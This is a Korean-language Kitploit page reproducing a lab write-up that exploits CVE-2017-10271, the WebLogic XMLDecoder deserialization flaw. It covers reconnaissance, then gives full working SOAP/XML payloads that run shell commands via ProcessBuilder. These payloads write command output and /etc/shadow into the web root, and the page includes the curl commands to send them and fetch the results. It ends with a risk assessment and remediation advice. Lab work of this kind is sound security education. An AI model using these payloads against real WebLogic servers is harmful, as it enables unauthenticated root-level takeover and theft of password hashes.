Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-10271 — CVE-2017-10271 (WebLogic XMLDecoder 역직렬화 RCE) 취약점을 수동 페이로드 구성, 블라인드 RCE 우회, 권한 확인 및 데이터 유출을 포함한 사후 익스플로잇 기술을 이용하여 익스플로잇하는 단계별 실습 가이드입니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2017-10271
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubdungsocool/cve-2017-10271
33개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-10271

CVE-2017-10271 (WebLogic XMLDecoder 역직렬화 RCE) 취약점을 수동 페이로드 구성, 블라인드 RCE 우회, 권한 확인 및 데이터 유출을 포함한 사후 익스플로잇 기술을 이용하여 익스플로잇하는 단계별 실습 가이드입니다.

저장소 보기

LAB 2 - CVE-2017-10271: WebLogic XMLDecoder 역직렬화 분석

I. 시스템 분석

시스템 로그 분석

image.png

  • 감지된 서비스: Oracle WebLogic Server (AdminServer가 base_domain에 속하며 Development Mode로 실행 중)
  • 연결 포트: 7001
  • 지원 프로토콜: http, t3, iiop, ldap, snmp
  • 공격 표면 평가:
    • 서비스는 포트 7001에서 t3 프로토콜을 노출합니다. 이 기본 구성은 WebLogic 버전이 RMI(원격 메서드 호출)를 통한 자바 객체 역직렬화 관련 취약점에 대해 패치되지 않은 경우 높은 위험을 수반합니다.
    • 웹 관리 콘솔 인터페이스는 포트 7001에서 http 프로토콜로 실행되므로 /console/login/LoginForm.jsp와 같은 민감한 엔드포인트에 대한 디렉터리 스캐닝에 취약해집니다.

대상의 열린 포트가 식별되면 nmap을 사용하여 포트를 스캔하여 실행 중인 서비스를 확인합니다.

image.png

따라서 대상은 Oracle WebLogic Server 10.3.6.0 버전의 HTTP 서비스를 실행 중입니다. 이는 중요한 CVE(예: 역직렬화, 인증 우회) 시리즈로 유명한 잘 알려진 엔터프라이즈 Java 애플리케이션 서버입니다. 그러나 이 정보만으로는 시스템이 어떤 특정 취약점에 취약한지 결론짓기에 충분하지 않습니다. 연결된 웹 서비스 구성 요소를 더 깊이 스캔해야 합니다.

dirsearch 도구를 사용하여 민감한 엔드포인트를 식별하겠습니다. WebLogic은 Java 플랫폼에서 실행되므로 .jsp 및 .xml 파일이 가장 민감한 대상입니다. 200 상태 코드를 반환하는 엔드포인트에 초점을 맞추겠습니다.

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

image.png

  • /console/login/LoginForm.jsp: WebLogic Admin Console 웹 인터페이스의 로그인 포털입니다. 기본 자격 증명 무차별 대입 시나리오 또는 인증 우회 취약점(예: CVE-2020-14882)에 대한 중요한 대상입니다.
  • /bea_wls_internal/: WebLogic Server의 기본 내부 웹 애플리케이션 디렉터리입니다. 이 구성 요소는 정적 시스템 파일에 대한 액세스 및 상호 작용을 허용합니다.
  • /wls-wsat/CoordinatorPortType: 이것이 가장 중요한 발견입니다. 200 OK 상태 코드로 이 경로가 존재한다는 것은 Web Services Atomic Transactions (wls-wsat) 구성 요소가 활성화되어 데이터를 수신할 준비가 되었음을 확인합니다.
  • /uddiexplorer 및 /uddi/uddilistener: 이는 WebLogic Server에 기본적으로 통합되어 웹 서비스를 관리 및 등록하는 UDDI Explorer(Universal Description, Discovery, and Integration) 구성 요소입니다. 이 구성 요소는 SSRF(Server-Side Request Forgery) - CVE-2014-4210 취약점으로 매우 유명합니다. 공격자는 /uddiexplorer/SearchPublicRegistries.jsp 엔드포인트에서 UDDI의 공개 레지스트리 검색 인터페이스를 활용하여 WebLogic 서버가 백엔드 내부 네트워크로 임의의 HTTP 요청을 보내도록 강제할 수 있습니다.

⇒ 생각: /wls-wsat (XMLDecoder를 통한 RCE 위험)과 /uddiexplorer (SSRF 위험)의 공존은 이 WebLogic 서버의 공격 표면이 매우 광범위함을 나타냅니다.

WebLogic 10.3.6.0 서버에 공존하는 두 개의 독립적인 공격 표면을 식별한 후, 우리는 두 방향을 분석합니다.

  1. /uddiexplorer의 SSRF 취약점 (CVE-2014-4210):
    • 중간 영향: 서버에서 LAN 네트워크의 포트를 스캔하거나 내부 서비스(예: Redis)와 상호 작용하기 위해 간접 HTTP 요청을 보낼 수 있습니다.
    • 제한 사항: 운영 체제 수준 (OS Level) 제어를 직접 부여하지 않습니다. SSRF에서 RCE로의 확대는 내부 네트워크에 다른 잘못 구성된 서비스가 있는지 여부에 크게 의존합니다.
  2. /wls-wsat의 XMLDecoder 역직렬화 취약점 (CVE-2017-10271):
    • 영향: 치명적입니다. 실행 중인 프로세스의 권한으로 서버에서 직접 원격 코드 실행(RCE)을 허용합니다.

⇒ 결정: Cyber Attack Chain 모델에서 RCE는 항상 최종 목표입니다. 이는 시스템에 대한 직접적이고 완전한 제어(Full System Compromise)를 제공하기 때문입니다. RCE 기능이 달성되면 UDDI 애플리케이션을 통한 SSRF 악용은 중복됩니다. RCE 셸에서는 UDDI 인터페이스의 매개변수에 제한받지 않고 직접적이고 유연하며 더 강력한 방식(시스템 명령어 curl, wget 사용)으로 내부 네트워크 쿼리를 적극적으로 수행할 수 있기 때문입니다.

따라서 익스플로잇 우선순위 논리 측면에서 우리는 보조 경로(/uddiexplorer의 SSRF)를 제외하고 전적으로 연구에 집중하기로 결정했습니다: /wls-wsat/CoordinatorPortType의 XMLDecoder 역직렬화 취약점을 통한 원격 코드 실행 (RCE).

취약점 메커니즘 분석 및 테스트

CVE-2017-10271의 근본 취약점은 WebLogic의 WorkContextXmlInputAdapter 클래스가 <work:WorkContext> 태그의 데이터를 구문 분석하기 위해 java.beans.XMLDecoder 객체를 사용하기 때문에 발생합니다. 기본적으로 이 XMLDecoder 클래스는 XML 태그 형식으로 정의된 모든 Java 클래스를 자동으로 인스턴스화합니다. 여기에서 단계별 시스템 행동 상호 작용을 기반으로 검증을 수행합니다.

이 서블릿의 실제 활성 상태를 빠르게 확인하려면 일반 HTTP GET 프로브 요청을 보냅니다.

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

응답은 HTTP/1.1 200 OK 와 함께 구현 클래스 CoordinatorPortTypePortImpl을 반환하여 서블릿이 JVM 메모리에 성공적으로 로드되었음을 확인합니다.

POST 데이터 처리 검증

Web Services 서블릿은 POST 메서드를 통해 SOAP XML 데이터를 처리하도록 설계되었으므로, 시스템의 데이터 처리 파이프라인을 입증하기 위해 두 개의 POST 요청으로 비교 테스트를 진행합니다.

1. 표준 SOAP POST 요청

완전한 네임스페이스를 포함하지만 실행 내용이 없는 표준 SOAP XML Envelope를 전송하여 파서의 정상적인 구문 분석 능력을 테스트합니다.

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

image.png

  • 결과: 시스템은 Parser를 통해 원활하게 실행되며 백엔드 서비스 로직 계층에서만 오류를 나타냅니다(Cannot find dispatch method).

분석:

서버는 POST 포트에서 잘 작동하는 XML 리더를 가지고 있어 사용자가 보낸 전체 XML 트리 구조를 수신하고 디코딩할 준비가 되었습니다. 이는 클라이언트에서 WebLogic 메모리 깊숙이 이어지는 데이터 파이프라인이 완전히 작동함을 확인합니다.

2. 비정상 XML POST 요청

다음으로, 파서의 예외 처리 메커니즘을 관찰하기 위해 의도적으로 XML 구조를 깨뜨립니다(예: 네임스페이스 누락).

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

image.png

  • 결과: 예외 com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv"를 반환합니다.

분석:

  1. POST 패킷 Body의 모든 문자, 모든 XML 태그는 JVM 내부의 가장 낮은 수준의 Java XML 파서(com.ctc.wstx)로 직접 전달되어 구문 분석됩니다.
  2. 시스템 중간에 입력 데이터를 필터링하는 체크포인트, 필터 또는 웹 애플리케이션 방화벽(WAF)이 없습니다. 필터가 있었다면 패킷이 처음부터 차단되었을 것이고, Java Parser 계층 깊숙이 침투하여 이러한 시스템 오류를 던지지 않았을 것입니다.

결론

실제 실험 결과와 시스템 아키텍처 분석(서블릿이 POST 포트를 통해 원시 패킷을 수신하고, Parser 계층에 WAF/무결성 필터가 없으며, 원시 Java XML Reader 오류를 직접 던지는 것)의 조합은 서버가 CVE-2017-10271 (XMLDecoder 역직렬화)의 범위에 직접 속하는 매우 민감한 서비스 구조를 실행 중임을 확인합니다.

XMLDecoder의 기본 구문 분석 메커니즘에는 클래스 제어 필터가 없기 때문에, 삭제 없이 원시 POST 데이터를 수신하는 서버는 다음 단계에서 Java 시스템 실행 객체를 직접 호출하는 페이로드를 설계할 수 있는 완벽한 통로입니다.

II. 익스플로잇

수동 페이로드 구성 사고

WebLogic 10.3.6.0 서버는 오래된 Java 환경에서 실행되고 XMLDecoder에 대해 엄격한 클래스 제어 필터를 적용하지 않기 때문에 공격자는 실행 가능한 Java 객체를 직접 주입할 수 있습니다.

Java에서 명령을 실행하는 표준 클래스는 java.lang.ProcessBuilder 입니다. 이 Java 객체 초기화 로직을 XMLDecoder와 호환되는 XML 형식으로 매핑합니다.

  • 클래스 초기화 선언: <void class="java.lang.ProcessBuilder">
  • 실행할 명령을 포함하는 매개변수 문자열 배열 정의: <array class="java.lang.String" length="3">
  • 실행 메서드 트리거: <void method="start"/>

블라인드 RCE 우회

ProcessBuilder를 통해 시스템 명령이 실행되면 WebLogic 서버는 OS에서 명령을 백그라운드로 실행하고 HTTP 500 오류 코드만 반환합니다(명령 출력을 HTTP 응답 화면에 직접 출력하지 않음). 이 메커니즘을 웹 애플리케이션 매핑이라고 합니다. 모든 웹 서버는 이렇게 작동합니다. war/ 디렉터리는 해당 애플리케이션의 Document Root입니다. war/에 있는 모든 파일은 짧은 URL을 통해 액세스할 수 있습니다.

⇒ 블라인드 RCE를 우회하려면 물리적 경로를 찾아야 합니다. id > ... 명령은 운영 체제에서 실행되므로 실제 경로가 필요합니다.

/war 디렉터리를 찾기 위한 화이트박스 분석

컨테이너 내부에서 로드 중인 bea_wls_internal 애플리케이션의 실제 물리적 경로를 찾기 위해 호스트 시스템에서 직접 시스템 검색 쿼리를 실행합니다.

image.png

결과

  • /root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (원본 아카이브 라이브러리 파일).
  • /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (AdminServer의 임시 파티션 _WL_internal에 있는 압축 해제된 활성 애플리케이션 디렉터리). 이 활성 디렉터리 깊숙이 들어가면 정적 파일이 포함된 하위 디렉터리인 /9j4dqk/war/를 찾을 수 있습니다. 이는 애플리케이션의 절대 Web Root 디렉터리이며, 공격자는 RCE 실행 결과를 표시하기 위해 정적 파일을 작성할 수 있는 쓰기 권한을 가지고 있습니다.

생각: 위 디렉터리의 정적 파일 rce.txt로 id의 출력을 리디렉션하는 명령 설계: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

XMLDecoder 익스플로잇 페이로드 생성

위 분석에서 Java의 XMLDecoder 클래스는 XML 태그 형태로 정의된 모든 객체를 자동으로 인스턴스화하고 실행한다는 것을 알 수 있습니다. Java에서 운영 체제 명령을 호출하는 표준 클래스는 java.lang.ProcessBuilder입니다.

동등한 Java 코드를 XMLDecoder XML 구조로 매핑하는 과정:

동등한 Java 코드:

root@kitploit:~
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

XMLDecoder XML 태그로 매핑:

Kali Linux 시스템에 완전한 SOAP 구조가 포함된 exploit.xml 파일을 생성합니다.

root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Kali Linux 시스템에서 대상 엔드포인트로 익스플로잇 페이로드가 포함된 XML 파일을 전송합니다.

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

image.png

RCE 결과 확인

Web Root 디렉터리에 생성된 정적 파일 rce.txt에 접근합니다.

root@kitploit:~
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

image.png

RCE 익스플로잇 성공. id 명령의 결과는 WebLogic 프로세스가 root 권한으로 실행 중임을 확인합니다.

III. 사후 침투

권한 확인

id 명령의 실행 결과는 uid=0(root)를 반환합니다. 이는 WebLogic Server 프로세스가 운영 체제의 최고 root 권한으로 직접 실행되고 있음을 증명합니다. 공격자는 추가적인 권한 상승 단계 없이 시스템을 완전히 제어할 수 있습니다.

민감 데이터 수집

공격자는 /etc/shadow와 같은 민감한 시스템 파일을 쉽게 읽을 수 있습니다. exploit_shadow.xml 파일을 생성하고 XML 페이로드를 통해 WebLogic 서버가 자동으로 실행하도록 전송합니다. 이 서버에 파일을 읽도록 명령하고 Document root 디렉터리로 리디렉션하여 외부 URL에서 접근할 수 있도록 합니다.

root@kitploit:~
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

그런 다음 페이로드를 전송하고 외부에서 파일을 읽습니다.

root@kitploit:~
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

image.png

전체 시스템 계정 목록과 비밀번호 해시가 완전히 유출되었습니다.

리버스 셸

컨테이너가 격리된 내부 네트워크 환경(Docker 호스트의 NAT/Bridge)에서 실행되므로 외부 LAN의 Kali 시스템으로 직접 리버스 연결(Reverse Shell)을 설정하는 것은 라우팅 장애를 만날 수 있습니다. 실제 환경(프로덕션)에서는 서버에 아웃바운드 인터넷 연결이 있는 경우 공격자가 완전히 리버스 셸을 설정할 수 있습니다.

그러나 root 권한으로 원격 코드 실행(RCE) 기능을 직접 보유하고 Web Root를 통해 대화식으로 파일을 읽고 쓸 수 있는 능력은 전체 시스템 손상을 확인하기에 충분합니다.

IV. 평가 및 권장 사항

위험 평가

이 WebLogic 시스템의 XMLDecoder 역직렬화 취약점(CVE-2017-10271)은 가장 심각한 위험 수준(Critical) 으로 평가됩니다.

수정 권장 사항

이 심각한 보안 취약점을 완전히 해결하기 위해 관리자는 즉시 다음 조치를 구현해야 합니다.

긴급 우선순위 (단기):

  1. wls-wsat 구성 요소 삭제 또는 비활성화: 시스템에서 Web Services Atomic Transactions (WSAT) 기능을 사용하지 않는 경우 WebLogic 설치 경로에서 wls-wsat.war 폴더를 삭제하고 서비스를 다시 시작하여 이 공격 표면을 완전히 제거합니다.
  2. 보안 패치 적용 (패칭): CVE-2017-10271에 대한 Oracle의 독립 실행형 보안 업데이트 패키지를 즉시 적용하거나 WebLogic Server를 최신 안전한 버전(12c 이상 버전에서는 XML 처리 메커니즘을 안전한 대안으로 대체함)으로 업그레이드합니다.
  3. 프로세스 실행 권한 하향 조정: WebLogic 서비스를 제한된 사용자 계정(예: oracle)으로 실행하도록 재구성하고, 절대 root 권한으로 프로세스를 실행하지 않아야 합니다.

장기 우선순위 (심층 방어):

  1. 웹 애플리케이션 방화벽(WAF) 배포: WAF에 규칙을 구성하여 <java>, <object>, <void>, <class>, <method>와 같은 XMLDecoder 특성 XML 태그를 포함하는 /wls-wsat/ 엔드포인트에 대한 POST 요청을 탐지하고 차단합니다.
  2. 네트워크 분할 구성: WebLogic 컨테이너를 격리하고 불필요한 아웃바운드 네트워크 트래픽(Outbound connections)을 차단하여 리버스 셸 또는 외부에서 컨테이너로 악성 코드를 다운로드할 위험을 최소화합니다.
도구 다운로드
Java 구성 요소해당 XML 태그
ProcessBuilder 클래스 선언<void class="java.lang.ProcessBuilder">
매개변수 배열 String[]<array class="java.lang.String" length="3">
배열 요소 (인덱스 0, 1, 2)<void index="0"><string>...</string></void>
.start() 메서드 호출<void method="start"/>
기준평가세부 사항
CVSS 점수9.8 (Critical)매우 높은 영향 점수
인증필요 없음악용에는 계정이나 인증이 필요하지 않음
복잡성매우 낮음악성 SOAP XML 페이로드를 포함한 단일 HTTP POST 요청만 보내면 됨
획득 권한root최고 시스템 권한으로 컨테이너에 대한 완전한 제어 획득
수평 이동높음손상된 컨테이너는 다른 내부 네트워크 컨테이너 및 물리적 호스트 서버를 공격하는 피벗 포인트로 사용될 수 있음